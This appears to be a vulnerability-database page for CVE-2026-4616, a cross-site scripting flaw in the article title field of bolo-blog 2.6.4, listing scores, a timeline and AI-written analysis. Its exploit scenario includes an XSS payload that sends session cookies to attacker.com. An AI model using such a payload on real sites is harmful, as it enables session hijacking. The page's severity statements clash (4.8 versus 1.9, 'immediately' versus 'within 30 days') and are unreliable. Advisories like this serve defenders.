Which versions of Bolo Blog are affected by CVE-2026-4616?

Organizations using A security flaw should be aware of moderate risk from CVE-2026-4616, a cross-site scripting vulnerability rated CVSS 4.8.

Is there a public PoC exploit available for CVE-2026-4616?

Yes, a public proof-of-concept exploit is available for CVE-2026-4616. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-4616?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Bolo Blog CVE-2026-4616

Q: What is the CVSS score of CVE-2026-4616?

CVE-2026-4616 has a CVSS 4.0 base score of 1.9 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-14672 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-24 VulDB

GHSA-cvg8-pgv5-2vg3

XSS Bolo Blog

1.9

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

1.9 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

4.8 (MEDIUM) 1.9 (LOW)

PoC Detected

Mar 27, 2026 - 23:17 vuln.today

Public exploit code

EUVD ID Assigned

Mar 24, 2026 - 00:45 euvd

EUVD-2026-14672

Analysis Generated

Mar 24, 2026 - 00:45 vuln.today

CVE Published

Mar 24, 2026 - 00:16 nvd

MEDIUM 4.8

DescriptionCVE.org

A security flaw has been discovered in bolo-blog 까지 2.6.4. The affected element is an unknown function of the file /console/article/ of the component Article Title Handler. Performing a manipulation of the argument articleTitle results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

AnalysisAI

A cross-site scripting (XSS) vulnerability exists in bolo-blog version 2.6.4 in the Article Title Handler component at /console/article/, where the articleTitle parameter is not properly sanitized before being rendered. An authenticated attacker with high privileges can inject malicious JavaScript through the articleTitle argument, resulting in stored or reflected XSS that compromises the integrity of the application. …

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Vulnerability AssessmentAI

Risk Assessment	This vulnerability presents a low-to-moderate real-world risk despite its public exploit availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An authenticated administrator (or attacker who has compromised administrative credentials) navigates to the article editing interface at /console/article/ and injects malicious JavaScript into the articleTitle field, such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When the page is rendered or when another user views the article list, the browser executes the injected script, potentially exfiltrating session cookies or performing actions on behalf of the victim user. …
Remediation	The primary remediation is to upgrade bolo-blog to a patched version released by the maintainers; contact the bolo-blog project at https://github.com/bolo-blog/bolo-solo/issues/330 for patch availability and expected release timeline, as the vendor has not yet formally responded. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-4616 vulnerability details – vuln.today

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